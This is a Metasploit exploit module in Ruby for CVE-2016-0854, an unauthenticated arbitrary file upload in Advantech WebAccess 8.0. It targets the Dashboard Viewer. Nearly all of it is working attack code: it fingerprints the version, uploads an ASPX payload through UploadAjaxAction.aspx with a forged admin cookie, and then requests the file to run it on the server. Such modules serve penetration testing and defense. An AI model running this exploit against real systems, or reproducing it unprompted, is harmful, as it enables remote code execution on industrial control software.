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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload", 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to upload arbitrary code (instead of an image) to the server, which will then be executed under the high-privilege context of the IIS AppPool. }, 'License'=> MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'Zhou Yu <504137480[at]qq.com>' # MSF module ], 'References' => [ [ 'CVE', '2016-0854' ], [ 'ZDI', '16-128' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01'] ], 'Platform'=> 'win', 'Targets' => [ ['Advantech WebAccess 8.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "Feb 5 2016", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/']) ], self.class) end def version_match(data) # Software Build : 8.0-2015.08.15 fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/) fingerprint['version'] unless fingerprint.nil? end def vuln_version? res = send_request_cgi( 'method' => 'GET', 'uri'=> target_uri.to_s ) if res.redirect? res = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(res.redirection) ) end ver = res && res.body ? version_match(res.body) : nil true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false end def check if vuln_version? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def upload_file?(filename, file) uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx') data = Rex::MIME::Message.new data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"') data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"") res = send_request_cgi( 'method'=> 'POST', 'uri' => uri, 'cookie'=> "waUserName=admin", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> data.to_s ) true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false end def exec_file?(filename) uri = normalize_uri(target_uri) res = send_request_cgi( 'method'=> 'GET', 'uri' => uri ) uri = normalize_uri(target_uri, 'WADashboard', filename) res = send_request_cgi( 'method' => 'GET', 'uri'=> uri, 'cookie' => res.get_cookies ) true ? res && res.code == 200 : false end def exploit unless vuln_version? print_status("#{peer} - Cannot reliably check exploitability.") return end filename = "#{Rex::Text.rand_text_alpha(5)}.aspx" filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe) print_status("#{peer} - Uploading malicious file...") return unless upload_file?(filename, filedata) print_status("#{peer} - Executing #{filename}...") return unless exec_file?(filename) end end |
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